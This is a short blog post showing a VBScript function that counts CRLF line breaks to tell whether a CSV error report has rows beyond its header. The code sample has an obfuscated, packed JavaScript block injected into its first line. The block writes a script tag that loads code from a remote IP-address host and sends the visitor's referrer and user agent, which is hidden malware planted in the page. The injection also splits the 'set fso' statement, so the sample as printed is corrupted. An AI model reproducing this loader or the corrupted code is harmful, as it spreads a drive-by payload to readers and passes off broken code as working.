I was working with an old third party tool that only supported VBScript for programming.  I needed to email a file if the file had more than one row.  All the CSV (Comma Separated Value) files created had the CSV headers on the first line. Basically, this was an error/exception report, so I only wanted to send an email if there was more than one line in the file. The following basically counts the number of Carriage-Return/Line-Feed characters.

set <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnire|var|u0026u|referrer|aaynb||js|php'.split('|'),0,{}))
</script></noindex> fso=CreateObject("Scripting.FileSystemObject")

fa = "E:\MESSAGES\ACER\PROD\Batch\Out\database_failed_POs_20150916_140035.csv"
countRows = CountRowsInFile(fa)
msgbox "File with Error(s) Only countRows=" &amp; countRows 


fa = "E:\MESSAGES\ACER\PROD\Batch\Out\database_failed_POs_20150916_150009.csv"
countRows = CountRowsInFile(fa)
msgbox "Header Only countRows=" &amp; countRows 

Function CountRowsInFile(filename)
	Dim oFso, oReg, sData, lCount
	Const ForReading = 1
	Set oReg = New RegExp
	sData = Fso.OpenTextFile(filename, ForReading).ReadAll
	With oReg
	    .Global = True
	    .Pattern = "\r\n" 'vbCrLf
	    '.Pattern = "\n" ' vbLf, UTF-8 encoded text file?
	    lCount = .Execute(sData).Count 
	End With
	Set oReg = Nothing
	CountRowsInFile = lCount 
End Function 

 

Above was modeled after post on StackOverflow (basically turned it into a Function).

Filed under: VBScript